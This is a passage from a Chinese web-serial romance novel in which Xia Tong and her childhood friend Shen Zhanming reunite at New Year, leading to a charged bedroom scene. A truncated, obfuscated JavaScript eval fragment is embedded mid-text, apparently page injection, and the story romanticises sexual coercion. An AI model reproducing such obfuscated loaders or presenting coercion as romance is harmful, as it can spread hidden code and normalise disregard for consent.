她惊叫一声,没站稳,踉跄着后退,将要摔倒的时候被沈湛明一把捞住。 腰间的手臂坚实有力,她被稳稳接住。沈湛明在扶好她之后便收回手,一个极为短暂的拥抱,除了他们之外,无人注意到。 杜静兰跟过来瞄了一眼,念叨道:“买了这么多东西,快进来关门,楼道冷风都往屋里吹。” 夏曈应了声,抬腿轻轻地把汤圆推开,忽觉手中一轻,沈湛明将她提着的东西全部接过去,“进来换鞋。” 他已经进门,低眸将夏曈买的一堆东西分类放好。 两家太熟了,沈湛明甚至很清楚她习惯把物品摆放在什么位置,收拾东西时自然又熟练。 夏曈站在他旁边看了看,觉得自己好像帮不了什么忙。 她刚坐到位置上,就被杜静兰拍了手,“洗手了没?” 沈湛明闻言看她一眼。 夏曈心虚道:“其实我刚用消毒湿巾擦过。” 杜静兰催她去洗手,“那东西有什么用,去。” 饱受压迫的夏曈起身去洗手,回来特意给她展示,“看,我用的七步洗手法,湛明哥教的。” 有这位医生背书,杜静兰还会挑她的错吗? 但大人们正在说话,杜静兰脸上笑容很灿烂,此时见她听话了,便懒得再理她,“行行行,快吃你的吧。” 夏曈很愤怒地拿起筷子,将沈湛明给她剥好的虾仁一口吃掉。 沈湛明抬眸看了她两眼,复又垂眸剥虾,有些喂给了汤圆和胶布,有些放在夏曈手边的小碗里。 她的碗是高中买的小黄鸭,杜静兰嫌弃这东西太小不让她用,夏曈本来饭量就小,再用这么个小碗,她是想瘦成纸片飘走吗?于是将它拿来放榨菜,夏曈抗议足足五分钟才从残暴的杜女士手中夺回使用权。 沈湛明见她抬手就要倒果汁,淡声制止:“刚从冰箱拿出来不久,太凉了,待会再喝。” 夏曈伸手摸了下,果真凉手,只好放弃。 餐桌上氛围浓厚,四位家长相谈正欢。 夏曈和沈湛明则是跟猫狗玩。他们处在餐桌的尾端,自成一隅,不受干扰。 汤圆很黏夏曈,一下午没见她,止不住蹭她的腿。她笑了笑,夹着嗓子:“乖宝宝。” 汤圆肉眼可见的开心,夏曈想起什么,问沈湛明:“汤圆怎么还是不跟你亲,你平时都不哄它玩吗?” 沈湛明没工夫考虑这些,只淡问:“怎么哄?” “跟它玩呀,摸摸它,或者亲亲它什么的,”夏曈俯身,很用力地在汤圆脑门亲了口,“像这样。” 这在沈湛明眼里极为不卫生,他皱起眉头,不赞同地收回视线。 “叫它宝宝、乖乖。” 沈湛明复又抬眼,目光深邃而有力地看着夏曈,淡道:“我又不是没这么叫过。” 只不过都是在叫她。 夏曈一怔,低头吃饭,不再言语。 此时沈湛明注意到她被风吹红的脸颊,又问:“去海边了?” “嗯,”夏曈想到什么,摸到手机,划拉几下,举给他看,“曹大欣给我拍的照片,好看吗?” 是那张翻白眼的丑图。 沈湛明弯唇笑了下,“好看,拍得不错。” 夏曈笑出声,顺手往上翻了翻,看到其他几人表情包,更是乐不可支。 沈湛明抽出湿巾擦手,问她:“有这么好笑吗?” 夏曈放下手机,“她们也都拍了。” 沈湛明“嗯”了声,他知道她们是谁,但没兴趣再问。除了夏曈,他对别人都没什么探究的欲望。 夏曈当然也不会把她们的丑照给沈湛明看。 - 饭后,是熟悉的发红包环节。 两对父母分别给沈湛明和夏曈都包了红包。不仅如此,还给汤圆和胶布也发了个红包,用于买罐头零食,只不过交给主人代管。 虽说现在都习惯以微信拜年,但他们还是用描绘精美的红包,塞进从银行新取的连号纸钞,亲手将压岁钱放在孩子们手里。 实物带来的喜悦,是电子数字无法比拟的。 夏曈摸着红包厚度,笑得眉眼弯弯。 沈湛明性格稳重,对新年红包一直没有很惊喜的感觉。 与其说他喜欢过年氛围,不如说他只想看夏曈开心。 他摸着汤圆的脑袋,唇边淡淡笑意,语声温和:“曈曈给汤圆买过不少东西,也是汤圆的主人,这个红包就给曈曈暂管吧。” 说罢,他让汤圆咬住红包,示意它去交给夏曈。 夏曈手握三个大红包,脆声笑说难怪玄学大师说她今年会发财呢。 在场人都笑,没有注意到沈湛明那句话里蕴含的意味。 沈湛明从小就让着夏曈,这个行为并不算出格。 唯有苑菲菲倚在抱枕上托腮,挑眉看他一眼。 春晚开场,杜静兰提议要打麻将,但三缺一,因为沈教授虽学识过人,但牌技奇差,只能玩消消乐这种规则简单的小游戏。 杜静兰把麻将找出来,刚要喊夏曈或者沈湛明上桌,一抬头,就见俩人已经纷纷起身穿外套溜下楼。 苑菲菲轻笑:“喊对面老吴吧。” 夏曈和沈湛明下到楼梯拐角时,听到苑菲菲已经在敲对面吴伯伯的门。 彼此对视一眼,夏曈小声笑道:“幸好跑得快。” 沈湛明低头看着她,她眼睛很亮,脸颊微红,带着一种隐秘的兴奋感,像是小时候为了逃避杜静兰给她安排的各项学习任务,找借口躲到他的家里。 “诶,忘了,”夏曈想起什么,“说好要等曹欣她们来找的。” 她乌发低束,发梢微乱。沈湛明抬手抚过,将发尾拢在掌心,微凉柔滑的触感,“有事?” 夏曈看着他,欲言又止,“也不算有事……就是她们好奇你做的饭好不好吃。” 沈湛明对那几个女孩没什么印象,不过既然夏曈开口,他愿意给出谈论的空间,“等有机会,你可以邀请她们过来。” “啊,以什么理由呢?”夏曈歪头问。 他们现在关系别扭着,怎么想都不对劲。 夏曈没理由让她们和沈湛明一起吃饭。 沈湛明比她年长几岁,并参与了她的整个成长过程。 在相处时,他总会有意无意地顺着她、引导她。 但这次,他并未像以往那样纵容,只缓慢地轻声反问,“是啊,以什么理由呢。” 楼道里感应灯灭,外面路灯的微弱光线照进来。 他们已经走到了单元楼门口,沈湛明的脸隐在阴影中。他不笑时神情冷漠,看起来清隽肃然,甚至几分凶,唯有那双眼凝视着她,化不开的柔和,还有欲望。 天幕忽然绽开烟花,为他清正的侧脸点缀一瞬瑰丽光芒,很快又归于寂灭。 夏曈知道,他想听到的回答是什么。 可她还不想面对这个问题。 “其实我……我才刚分手。” 她犹豫了很久才终于开口,而后抱着胶布,躲藏什么似的,低头将脸颊埋在了小猫温暖而蓬松的毛里。 沈湛明垂下眼睫,视线也随之压低。 他不想逼她做决定,伸手为她将羽绒服的拉链拉紧,“走吧。” 夏曈来到银杏树前的热闹场地时,曹欣她们刚从楼里出来,笑嘻嘻地给正在放炮的小孩子们分发仙女棒。 炮声炸开,烟火的气息弥漫周遭,火光熠熠,她接过一根仙女棒,暂不点燃,而是站在旁边围观,看那蝴蝶状的花炮旋转上升,映亮半空。 这片算是个活动场地,平时居民饮茶、下棋,说笑,皆在此处。此时除夕,围观聊天的人比平时更多,也有常年在外工作的人返回,正彼此招呼叙旧。 夏曈左右张望,见沈湛明被几人叫住,站在烟火照不亮的区域,淡笑着说些什么。 她夜晚视力不太好,眯起眼瞧,隐约认出是院里的几位哥哥姐姐。她这一波小孩对他们都不太熟,毕竟存在年龄差距,缺乏共同语言。 严格来讲,若非夏家和沈家世交 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可曹欣反驳:“家猫打不过野猫,你是想让我们胶布宝宝被揍成笨蛋吗?” 程萱笑嘻嘻:“本来也是笨蛋啊。” 曹欣和夏曈尖叫:“不要对小猫咪说这么残忍的话!” 她们这边乱哄哄的,还有小孩子来凑热闹,夏曈勉强认出几个,听他们声音稚嫩地喊自己“阿姨”、“姑姑”,脸上露出为难的表情。 李然感慨道:“我们还觉得自己是这院里年龄最小的一批人呢,现在也成长辈了。” 夏曈点头:“是啊。” 没有人能永远是小孩,但永远有人是小孩。 她们正处于人生最迷茫的年纪,年龄已经是成年人,但在社会上,经验浅薄得只是个蹒跚学步的孩子。 所以年龄能划分人生阶段么? 不能,并且年龄不能说明任何事情。夏曈有时觉得自己能够再成熟一点就好了,也许面对一些棘手的事情时,她可以有更从容淡定的处理方式,更稳定平静的情绪。 她在父母的庇护和沈湛明的纵容里像小孩一样任性,与此同时又渴望长大。 她只是暂时不适应“阿姨、姑姑”的称呼,并不代表她想永远当个不谙世事的孩子,缩在家人为她打造的蜗牛壳里。 每个人都在二十岁的时候迷茫、受挫,夏曈也不例外。即便她此刻拥有的再多,也无法抵消外界倾轧而来的压力与焦虑。 夏曈想到这里,心里叹息,不知她要到多少岁才能做到社会化,才能摆脱这种感受。 她转头,视线下意识追寻沈湛明的身影,还没有找到,却忽觉兜里手机震了一下。 将胶布递给曹欣,夏曈摸出手机一看,是陌生号码发来的短信。 说陌生,也不陌生,她清楚地记得,这就是谢桁的手机号。她昨天将他联系方式删除,不知怎么,却并未拉黑。 她走到一个不太拥挤的地方,挨着一株梅树,点开信息。 “姐姐,新年快乐,我很想你。你呢,有没有想我?无论答案是什么,在你看到这条信息的时刻,心里一定会有我。姐姐,你在这个时刻想起我,那么今后的一整年,你都不会再忘记我。” 夏曈视线落在屏幕,似乎从字里行间能窥见谢桁编辑文字时的黏糊和试探。他想要她心软,却做不出卑微低下的姿态,于是惯用这种撒娇的口气,表面祈求垂怜,实则势在必得,隐隐逼迫她回头。 何必呢,她心里无奈地叹了口气,点击删除。 那根仙女棒还在她手中,她想找小孩儿借打火机,一只苍白的手斜伸过来,掌中一簇火苗燃起。仙女棒很干燥,一引即燃,如星洒溅。 夏曈怔了怔,乌润瞳孔与珍珠耳坠被映照得流光溢彩。 崔源收回火机,挑眉轻笑:“夏曈。” 夏曈抬眸,视线仅在他脸庞停顿一瞬,旋即越过他肩,看到了站在灯火寂灭处的沈湛明。 他穿深黑外套,侧影挺拔,冷漠且清隽,此时望向夏曈与崔源,唇边笑意淡淡,眼中却满是冰冷的审视。 35. 第 35 章 夏曈收回目光,觉得沈湛明此时的眼神好像……他们谈恋爱那时。 沈湛明平时是挺收敛的,总念着她年纪小,处处压抑自己。但夏曈觉得,他其实根本不知道自己有很强的控制欲,不仅什么事都要管,对她生气时也一个字都不说,可轻蹙的眉和收不住的力道,都表露出他骨子里的隐秘偏好。 她从来天不怕地不怕,唯独对这样的沈湛明有点犯怵。 理由令她脸红,暂时不想回忆。 因此夏曈静悄悄往旁挪动,将自己的身影藏匿在崔源后,同时问他:“……有什么事吗?” “没事儿,跟你说句新年快乐。”崔源把火机揣兜里,还不知道自己被她当挡箭牌了。 “嗯,你也新年快乐。” 夏曈跟他关系一般,细究起来其实没什么很大的过节,只是小孩子闹脾气,闹着闹着就长大了,但因为一直不怎么讲话,就显得两人有矛盾似的。 崔源是个有话直说的人,掠过寒暄,直截了当道:“昨天我去参加同学聚会,那个陈志远,还记得吗?他跟我提起你来着。” 夏曈思索片刻,对这个名字没有半点记忆:“谁呀?” “你不记得?”崔源睁大眼,对上她茫然的表情,哭笑不得,“你高二时的数学课代表啊,你那时经常和他在一起写题。忘了?” 他一说数学课代表,夏曈恍然大悟。 她高二有次犯了急性肠胃炎,住院一周,返校后发现不等式证明这个题型没跟上,就找前桌的课代表问了问。 课代表是个戴黑框眼镜的清秀男生,将自己整理的考试重点抄了一份给她。夏曈因此很感激,之后便经常与他讨论题目。 但他们升高三时,一中全年级重新打乱分了一次班,她和课代表去了不同的班级,甚至不在同一栋楼。夏曈见不到人,也就慢慢将他忘了。 她现在才记起他的名字,“他叫胡志远啊……” 崔源都无语了,“你这什么记性?好歹给你讲过那么多题。” “是讨论,讨论!只有不等式证明是他给我讲的,我数学考139呢!” 夏曈语气严肃,不允许崔源看轻她的数学素养。 崔源笑起来,忙说:“好好好,讨论。” 夏曈又问,“你们参加同学聚会,那他后来是和你分到一个班了?” “嗯啊,”崔源歪头笑,“到我们班还是课代表,后来读了西大的数学系,又回来一中当老师,现在年纪轻轻,已经是学科骨干。可厉害了。” 崔源成绩不行,但家底可以,毕业后就在海边开了家民宿,刚开始总赔,还被客人揍过,倒霉得喝凉水都塞牙,这两年慢慢挣钱了,挣得还不少,但都是辛苦钱。 他现在偶尔也后悔,觉得当初好好读书就好了,能混个文凭,坐办公室不比这强,遇见难对付的客人气得吃不下饭,他都瘦了。 夏曈点头,也由衷觉得那课代表的发展很好。 她记得那个课代表性格平和如温水,讲题时思路非常清晰,又有耐心,写得一手好字。一中也是省内有名的重点高中,他去任教,从各方面来讲,都是个不错的选择。 夏曈垂眸,仙女棒已经燃烧到底,星火熄灭,“所以呢,他提起我做什么?” 崔源挑眉,“还能是什么?他知道咱们俩是发小,所以向我询问你的近况啊。” 夏曈抬眼看他,有点疑惑,“……别是我想的那样吧。” “怎么不是?”崔源眯起眼,恰好此时响起炮声,他提高音量,“夏曈,你不会不知道他喜欢你吧?” 夏曈捶了他一下,“你小点声!” 她皙白的手指还捏着那根燃烧殆尽的仙女棒,星火褪去,只余漆黑粗糙的表面。 “我不记得他有表现过。” 崔源知道那学霸的性格就很闷,有点害羞,喜欢一个人也未必会表现出来。尤其夏曈高中时那么耀眼,她长得漂亮人缘好,年级光荣榜的单科状元,她的照片在上面贴着不止一张。 但她违纪也不只一次。级部广播每周五下午通报奖惩情况,“夏曈”这个名字,会同时出现在年级前十和违纪名单上。 所以即便优秀,也很少有人敢明显地表现出对她的喜欢。 崔源思索片刻:“他说高二时邀请你去看电影,被你拒绝了。” 夏曈像在听天书:“……有这事?” “你想想,应该有,”崔源选择相信学霸,“人那么老实,怎么会说谎。” 夏曈叹息,觉得好麻烦。但崔源这么个没心没肺的都找过来了,她若再不理会,显得她很坏。 “啊,我想起来了。” 良久,夏曈才无奈出声,“我那是为了感谢他,提出要送他一件礼物。” 这个说法还算合理。崔源转头看她,她不喜欢欠别人的,即便讲题只是同学之间非常微不足道的一件小事,她也要两清。 与此相对,她麻烦过沈湛明多少次,却从不提感谢。 崔源有时会想,这个夏曈曈到底有什么手段,居然连他们自小仰视的湛明哥都对她予取予求。 “然后我就问他想要什么,他说等考虑好再答复。”夏曈继续回忆,“我说好啊,结果等周五放学,他说想和我一起去看新出的那个电影。” “但我不想看。就这么简单的一件事。” 并非讨厌陈志远,而是那个假期档的所有电影,她都不想看。 “我真的只想感谢他,但这并不代表我愿意花费时间陪他看一部烂片,而且我也没想到他有别的意思。” 崔源低头看着夏曈,她勾唇,笑意漫不经心。 她就这么正义且残忍。 那位学霸陈志远也是个专一的闷葫芦,读大学后一直没谈过恋爱。他们高二分班,把好多人都分散了,陈志远没有夏曈的联系方式,这几年又忙学习和工作,直到今年一切安排都稳定下来,他才找到崔源,争取想见夏曈一面。 总体来说,是个挺有责任心的人,做足了准备,确保自己有能力为她提供物质条件后,才迈出勇敢一步。 但这个准备过程也太漫长了。他就没想过夏曈这几年有男朋友、甚至可能结婚了吗? 崔源轻咳声,扭头看沈湛明还没过来,准备为老同学最后争取一下。 “当时我们高二放暑假,他给你写了封情书,这样你都没想到他的意思吗?” 夏曈不想再提这件事了,“我没看到。” “怎么会,就夹在你的数学笔记里。是我亲手放的。” 夏曈真不知道,“我没看到啊,我数学笔记里干干净净,都是沈湛明给我整理的,确实什么都没有。” 崔源无奈,“你回去再翻翻?说不定是整理笔记的时候丢在哪里了。不过我也没别的意思,你怎么做都是你自己的事,谁也干涉不了。就是昨天陈志远又问起你来,我看他暗恋你这么多年也挺辛苦,就跟你说一下。你要实在不乐意,就当没听到吧。” 夏曈没耐心了,“行。我就当没听到……” 她话音刚落,崔源忽然转头与她对视。 两人目光相撞,都看到了彼此眼中的情绪。 “夏曈曈,你刚才说你的笔记都是湛明哥给你整理的……” 夏曈打断他:“我什么都没说!” 她蓦地睁大眼,瞳孔黑亮,在烟火光芒的投射下,流淌着隐秘的讶异和慌张。 像是一只被撞破秘密的猫,蛮不高兴,但虚张声势。 崔源上次见到她这副神情,还是在他发现她和沈湛明早恋时。 崔源仰起脸,深吸一口气,复又低头看她,忍不住笑,“行,你什么都没说。” 他弯唇笑,这次压低了声音:“我也什么都没听到。学霸的事我不会再提了。你和湛明哥的事,你们自己解决。” 夏曈很不高兴,尤其是看到他这种得意的表情后。 她示意崔源伸出手,然后在崔源不解的目光中,将那根燃尽的仙女棒放在他的手里。 崔源挑眉:“什么意思,我的手是垃圾桶吗?” 夏曈不理会他,径自迈步离开。 崔源在身后问她:“哎,晚上去百福河吗?我们十点出发。” “不去!” 夏曈才不想去吹冷风,再美丽的烟花也无法让她离开温暖的卧室。 崔源被吼得莫名,摸摸脑袋,将那根仙女棒扔进道边的垃圾箱。 - 沈湛明他们在树影稀疏的楼下,距离活动空地约百步。 此处灯光朦胧,雪意柔淡,间或有微风吹拂,炮声和小孩大人们的笑声被树木隔绝,隐隐约约,幽静又热闹。 夏曈走近时,听到他们谈起最近几年的工作安排。院里与他们同年龄的人不在少数,读书时还能凑一起胡闹。但随着发展阶段出现差异,刚才树下几个哥姐谈孩子、幼儿园和旅游,这群单身但事业有成的人谈的仍只有工作、度假和猫狗。 不评价哪种生活方式更好,但人在走到一定阶段后,身边的部分朋友也会慢慢走丢。 夏曈漫无边际地想着,马丁靴踩在薄薄的雪面,轻微作响。最先注意到她到来的,是位装束成熟的女性。 “夏曈?” 沈湛明转头,眉眼掩在树影里,显得幽深。 夏曈逆光走近,并不看他,而是眯起眼认出那女人,笑着打招呼:“程程姐。” 旁边其他人跟夏曈就不太熟,仅客套微笑。 赵鹏程勾着红唇,目光往沈湛明脸上扫过一瞬,旋即看向夏曈:“找沈湛明吗?” 夏曈点点头。 “哦,”赵鹏程弯眸,笑容里意味明显,“快去吧湛明,别让曈曈等啊。” 沈湛明抬眸,向她投去制止的眼神,后者挑衅似的一扬眉,手臂搭在旁边人的肩。 两人走后,被她搭住肩的那人问:“张鹏程,你那眼神什么意思。” 张鹏程低头:“你看不出来吗,沈湛明的眼睛都快长夏曈身上了。” 一人笑道:“人家兄妹俩关系好好的,你别曲解。” “这么多年也没见沈湛明身边有过女的,而且我哥不会用那种温柔的眼神看我,”张鹏程抬手戳了戳张展航,微笑眨眼,柔情脉脉,“是吗哥?” 张展航一阵恶寒,连声让她滚。 张鹏程语气笃定,“反正他俩肯定有事。等着瞧吧。” 在场人都说她脑补。 张鹏程笑了声,却没反驳。 她想起刚发现这事时的情形。 张鹏程本科毕业后就做医药工作,算是与沈湛明的职业有点关联。她一直以为沈湛明频繁回国是忙合作项目,还劝他别那么拼命,猝死了可不划算。 直到有次,他们在S市偶遇,一起吃顿便饭。沈湛明脱掉西装外套,里面是件黑色薄衬衫,领口扣子解开两粒,露出了瓷白皮肤上,一抹殷红的抓痕。 张鹏程差点把饭喷出来,呛得脸都红了,幽幽感慨:“你那女朋友下手挺狠啊。” 沈湛明忙昏了头,被她这么一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此时夏曈忽然问起高中的事情,沈湛明一时没有反应过来,神情罕见地茫然。 夏曈走近他,仰起脸,“数学笔记,高二暑假时,你不是帮我检查过一次吗?” 她距他很近,说话时温热的气息扑洒在他脖颈和下巴,只要他伸出手臂,就能将她拥入怀中。 沈湛明垂睫凝视她,高中的小事,他本不应该记得。可是此时,他低头看她,黑亮的瞳孔中闪烁着愠怒的火焰,那本笔记里掉落的浅橙色纸片蓦地闪过脑海。 她要笔记做什么? 她发现了情书的事情? 沈湛明语调很平:“你的笔记和漫画都在我家。不过我不记得是哪本。” 夏曈露出怀疑的目光,“真的?” 她本来还想利用这件事狠狠取笑一番沈湛明,可他什么都不记得,那就不好玩了。 “真的。” 沈湛明看着她,她的脸颊干净,瞳孔黑亮,故作的愠怒之后藏着狡黠。 眼睛是说不了谎的,更何况她眼睛很大,瞳仁清澈,一点异样的情绪都会被无限放大,从而让他轻易察觉。他只要凝视她,就能知道她心里在琢磨什么。 连那点使坏的心思都藏不住,还想诈他吗? 沈湛明转身上楼,声音磁哑低沉,带着些哄劝意味,“你很想要吗,不如跟我去找找看。” 夏曈尚未出声,他已经踏上楼梯,不给她反悔的机会。 她纠结两秒,决定跟上去。 沈家空寂无人,头顶却传来轻微的声响,是杜静兰等人在楼上打麻将,气氛热闹。 沈湛明将客厅灯光打开,随后去了卧室。 夏曈坐在沙发,手指抚在抱枕,抠着上面的花纹。 她听到卧室里传出轻微动静,不多时沈湛明走出来,“要不你跟我去房间里,一起找。” 夏曈想说算了吧,她走了这么久的路,兴奋感和体力一样,已经如潮水般渐渐退去。 她就是这样追逐新鲜,连使坏的冲动都仅有一次。 可沈湛明不打算就这么放过她。 他站在卧室门口,微侧身,无声地要她走进。卧室里没开灯,因此夏曈的视野并不清晰,只看到他身后地面摆放的木箱,以及整洁的床榻一角。 夏曈坐直了身体,视线移到他脸庞。 两人目光隔着客厅那么远的距离,短暂交汇。 大概静了三秒。 夏曈忽地起身,迈步走过去,棉拖踩在地面,声音契合心脏跳动的频率,在这个寂静的空间里显得无比清晰。 这个过程没人说话,沈湛明的视线始终锁定她,眸中掠过幽光。而夏曈察觉到他的注视,却并未再回视。 她微侧着脸,避开他的目光,眼神像是无所适从般漫无目的看了一圈,最终落到卧室门把手上。 她站在了沈湛明身边,并不宽敞的门容纳两人显得拥挤。夏曈抬头,客厅的灯芒斜照过来,在她的脸颊和睫毛都镀上一层暖洋洋的金光,呼吸时温热的气息倾洒在沈湛明的锁骨位置。 沈湛明眸光暗了暗,就见她定定地看着他,长而弯的睫毛如蝶翼,红润的唇勾起一抹微笑。 她的眼珠明净漂亮,声音轻若呢喃,“沈湛明,你想我进来做什么?” 她什么都懂,可她就是要使坏。 坏猫。 沈湛明静静看她两秒,忽地抬手,燥热的掌心握住她后颈,一个充满掌控欲的动作。夏曈浑身过电一样颤栗。她忍不住缩起肩膀,腰身被沈湛明另一只手搂住,不容逃脱,动作强势地带进他怀里。 身后咔哒轻响,卧室门关闭,光芒被推出门外。黑暗如潮水降临,将两人的身影彻底吞没。 夏曈被他推着,后背抵在门板上,脸前感知到沈湛明气息的急促,她微微张口想要说话,灼热又激烈的吻落了下来。 36. 第 36 章 外面下了点小雪,即便脱去外衣,两人身上仍有些寒意。房间内幽暗寂静,无人出声,唯有衣料摩擦的轻微簌簌,以及不知谁喉间溢出的喘息和黏腻水声。 夏曈被禁锢着,唇瓣厮磨带来的酥麻感让她脑内无声尖叫,她被亲昏了头,竟下意识想要说话,刚张口,沈湛明的舌就伸进来了。 她肩膀缩着,想要躲避,可身后是冷硬的门板,身前是他灼热坚实的胸膛。她根本无处可逃,两只手无措抬起,推不动他,又不愿揽住他,慌乱得好像第一次和他接吻,到最后反被他安抚性地握住,引导着抵在他胸膛,又抓乱了他的衣襟。 不知为何,沈湛明的吻有些生疏,牙齿几次咬到她的唇,她的舌尖。夏曈吃痛皱眉,唇间溢出短促的哼声,他才勉强收敛力度,逐渐回忆起当初和她接吻的感觉。 沈湛明是学习能力很逆天的人,他并不是技术差,只是太久没吻过她。此时让他重拾那些技巧,也只需短短的十几秒。 夏曈被吻得缺氧,逐渐无法回应,沈湛明抱着她坐到床沿,让她跨坐在自己腿上,给她时间去呼吸。 他低着头,细密却温柔地吻她的脸,而后沿着细腻肌肤,缓慢向下。 室内温度舒适,她的外套在进门时就脱掉了,里面是一件长裙和羊绒开衫。开衫的扣子本来系着,被他修长手指拂过,前两粒便解开,露出精致的锁骨和瓷白肌肤。 夏曈眼前还在发昏,只觉胸前有些凉,却并未意识到有道灼热的目光已经落在上面。 沈湛明的胡子向来刮得很干净,在明亮光线下也不会显得糙,但男性肌肤毕竟不如她精心护理的细腻。夏曈忽觉皮肤上传来磨砺感,被他无意识蹭得微痛,扭着身子就想逃,很快又被他按住。 沈湛明知道她喘过气了,于是大掌捏着她的后颈,又吻上去。 卧室窗帘敞开,窗外天幕幽黑,不时有绚烂的烟花绽放,光亮短暂地照进室内。 外面很热闹,笑声和炮声隐约传来。 老式的家属楼隔音效果并不很好,以至于夏曈在被吻得脸热时,仍可以听到,头顶响起一声骨碌碌的响动,似乎是麻将滚落在地板,随后是椅子挪动,有人去捡。 他们的爸爸妈妈在楼上过年,而他们在楼下昏暗的卧室里接吻。 夏曈的眼眶逐渐湿润,很快又呼吸不畅,想要退后喘口气,手心抵住沈湛明胸膛就要往后撤。沈湛明却食髓知味一般,无意识追吻过去,掌心按在她后脑,一下一下,越吻越深。 这个吻持续了很久才结束。 停下来时,夏曈的脸和脖颈都红得不成样子。 她的细眉轻蹙,眼珠湿润,神情委屈而愤怒,手脚并用终于从沈湛明怀里逃脱,啪地打开灯,坐在他书桌前的椅子里。 “你怎么能这样?”她轻咳两声,声音微颤而沙哑,“我推了你那么多次,你都不松手。” 她从没见过沈湛明这种凶狠的样子,仿佛要把她扒干净,拆吃入腹。 哪怕是他们以前很久不做,他忍得难受,也能尽量做到温柔体贴,不会强行抓着她,让她感到疼痛。 可现在…… 夏曈忽然想到,她已经和沈湛明分开一年了。 这一年里,沈湛明对她的耐心,也许已经在不知尽头的分离中,消磨殆尽。 皙白的手指颤抖着扣住桌边,夏曈尽力让自己的眼神看起来怨怒。 可沈湛明却一瞬不转看她,眉眼深黑,显然被她此刻的样子勾起欲望,他声音低哑,“跑什么?” 若非今晚情况特殊,也许沈湛明会想在这个地方,在他的卧室、他的床上,压着她做。 夏曈意识到这点,不得不承认,沈湛明其实有点变态。 她扭过脸,避开他略微灼热的目光,“我只是来找笔记,谁让你亲我?” 沈湛明听到这话,静默两秒,像是听到了什么笑话,“嗯,笔记。” 他俯身从地上的木箱子里翻出那个笔记本,搁在桌上,居高临下问,“这个吗?” 夏曈心跳剧烈,意识还不太清明,她胡乱翻了翻,看到熟悉的字迹,“是,里面夹着的东西呢?” 质问的语气。但因她气息颤抖,便显得很没有气势。 沈湛明站在桌边,而她坐着,这个姿势,使得他的腰带与她的脸仅有半臂距离。夏曈不必低头,便能清晰看到他尚未平息的欲望,当即脸庞一热,转过头去。 他伸手抚了抚她的发际,语声温柔,“什么东西,那个小课代表给你写的情书?” 原来他记得。 夏曈问:“对,在哪?” “扔了。” “你凭什么?”夏曈忿忿道,“我那时高二,你又不和我在一起,我们都不是男女朋友,你凭什么扔掉别人给我的情书?” 沈湛明平静道:“凭我是你哥哥。” 夏曈仰起脸看他,唇瓣殷红,隐约有血渗出。 她眼里笑意促狭,“哥哥?” 沈湛明不理会她的故意激怒,修长手指穿插在她乌亮的发间,又滑落到她的脸颊,指腹抹去那一点红,“就算不扔又怎么样,你对他没有感觉,不会答应他的告白。” 夏曈被说中心事,嘴上仍不服输:“你对我这么了解?” “我如果对你不了解,就不会在你高三考试失利时,放下手头的实验,赶回去被你强吻了。” 沈湛明凝视着她,“故意考那么差,就是想要哥哥答应做你的男朋友,对吗,曈曈?” 电话打到他这里时,两人已经很久没说过话。 他在实验室耽搁的那半个小时,并没有纠结见面时该如何相处才不显尴尬,而只在思考是否要走入她的陷阱。 当他走出实验室的瞬间,就做好了和她恋爱的一切准备。 “原来你一直知道。” 夏曈的心事被戳破,也不觉局促。她向来坦荡且忠于欲望,只要她想要,就很少觉得羞怯。 她抬手,攀住他劲瘦手臂,微红的脸颊向前埋在他的腰腹,感受那里肌肉的坚硬。 一个极具诱惑力的姿态,她勾唇轻笑,嘴里的话却满是挑衅:“那你也不应该扔掉他给我的信,也许我会和他在一起呢……” 沈湛明皱眉打断,“曈曈。” 夏曈仰起脑袋看他,额头光洁,眼珠明净,让她有种难得的乖巧。 可是她的羊绒开衫仍微乱,让沈湛明清晰地看到了圆润皙白的弧度,以及由他落下的点点微红。 他动作轻缓地给她扣好扣子,将那景象一点点掩住,“连当面表示喜欢都不敢,毕业这么多年也不联系。曈曈,他没有勇气,你们没有缘分,错过就是错过。” 夏曈轻声问:“在你眼中,除了你,我跟其他任何人都不合适,是不是?” 沈湛明俯身与她平视,眼神幽深:“是。” 夏曈垂下眼,手指轻轻抠着椅子的扶手。 她听得出来,他想要她做出决定。此刻,现在。他忍耐已久,从认出谢桁的那一刻起就在蓄谋,与她拉扯到今日,他的耐心已经不多。 可夏曈怎么会是乖乖服从命令的人? “把我的嘴角咬出血,就是适合我吗?” 她在说这句话的同时,扬起下巴 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沈湛明垂下眼睫,口腔里还残余着她唇舌的味道,酸酸甜甜的猕猴桃汁。他今晚一口没喝,却在她嘴里尝到滋味。 沈湛明在椅子坐下,扶着额头。 他当然有办法收拾她,以往两人不是没起过冲突。她脾气无常,一点不顺心就跟他闹来扭去,他基本都会哄着,实在被闹出火,把人按在床上做一顿,她就彻底老实了。 她指责他使用暴力,动手打她。沈湛明承认,但不准备改正。 他把她当乖乖哄着,又怎么舍得真的让她痛?所谓的暴力,无非是在床上打过她巴掌,还是在脂肪最丰盈的部位。他收敛着力道,避免让她感到剧烈的疼痛。最失控的时刻,也不过是在她皮肤留下了印记,那一块微微肿起。 事后,他不也刮干净胡子,去好好亲吻了她一番,作为赔罪吗? 如果这也叫变态,那么沈湛明只能说,她在这方面……实在孤陋寡闻。 她平时看那些漫画,还不许他在旁观摩,弄得好像是什么不可示人的惊天秘密一样,实则在沈湛明看来,全都不痛不痒,清汤寡水。 饶是沈湛明平时不怎么接触这些知识,随心发挥的举止,也能让她脸红耳赤,小声骂他混蛋。 即便他已经尽力克制,仍让她时常觉得羞。 所以,他能怎么办? 他二十一岁时,就被她笑着说有性压抑。 如今七年过去,沈湛明仍觉得不够满足。可是夏曈曈呢,那些游刃有余的撩拨,化作野火,烧进他的胸膛,燎原遍野。他渴望已久的触碰,被她轻飘飘开了个头,便抽身离去。 徒留他在这里难耐。 沈湛明扶着额头。他是好脾气,但不是没脾气。分开的一年里,他不是没起过情/欲的欲/求,可总被强行压下去了,实在压不下,便想着她,用手。如今她闯入他的卧室,被他那样吻着也没生气,几秒钟的功夫就把他撩拨得不上不下,然后拍拍屁股就走,他怎么不难受? 刚才有瞬间的冲动,让他真想把夏曈拽过来狠狠弄一顿算了,可这种事还是你情我愿比较舒服。沈湛明偶尔会喜欢强势一点,比如她刚才控诉的“使用暴力”,把她挤到床头角落,弄得她发出小猫一样细弱的叫声,但这不代表他会真的对她动粗。 沈湛明闭眼叹息,浓黑的睫毛低垂。 他起身将卧室门反锁,关灯,随后靠着书桌,看着那把她刚才坐过的椅子,解开腰带。 37. 第 37 章 